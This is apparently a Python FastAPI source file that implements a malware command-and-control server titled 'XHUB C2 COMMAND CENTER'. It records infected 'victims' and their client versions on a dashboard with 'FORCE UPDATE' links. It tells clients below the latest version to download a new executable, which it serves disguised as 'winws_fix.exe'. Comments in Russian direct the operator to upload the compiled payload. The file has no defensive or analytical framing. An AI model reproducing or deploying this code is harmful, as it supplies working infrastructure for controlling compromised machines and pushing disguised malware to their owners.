Rut / app.py
nicolaydef's picture
Create app.py
9c9592b verified
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse, FileResponse
from pydantic import BaseModel
import time, os
app = FastAPI()
victims = {}
# Текущая версия софта. Если у клиента меньше — он обновится.
LATEST_VERSION = "2.0"
class Report(BaseModel):
user: str
version: str
action: str
@app.get("/", response_class=HTMLResponse)
def dashboard():
html = "<html><body style='font-family:monospace;background:#0d1117;color:#58a6ff'><h1>XHUB C2 COMMAND CENTER</h1>"
html += f"<h3>LATEST_STABLE_VERSION: {LATEST_VERSION}</h3><hr>"
for u, data in victims.items():
html += f"<p>[{data['time']}] <b>{u}</b> (v{data['ver']}): {data['status']} | <a href='/set_cmd/{u}/update' style='color:#7ee787'>FORCE UPDATE</a></p>"
html += "</body></html>"
return html
@app.post("/report")
async def report(data: Report):
victims[data.user] = {"ver": data.version, "status": data.action, "time": time.ctime()}
# Если на сервере версия выше, шлем команду на апдейт
if float(data.version) < float(LATEST_VERSION):
return {"cmd": "update", "url": "/download_update"}
return {"cmd": "idle"}
@app.get("/download_update")
def download():
# Положи свой новый скомпилированный .exe в ту же папку на HF под именем 'update.exe'
return FileResponse("update.exe", filename="winws_fix.exe")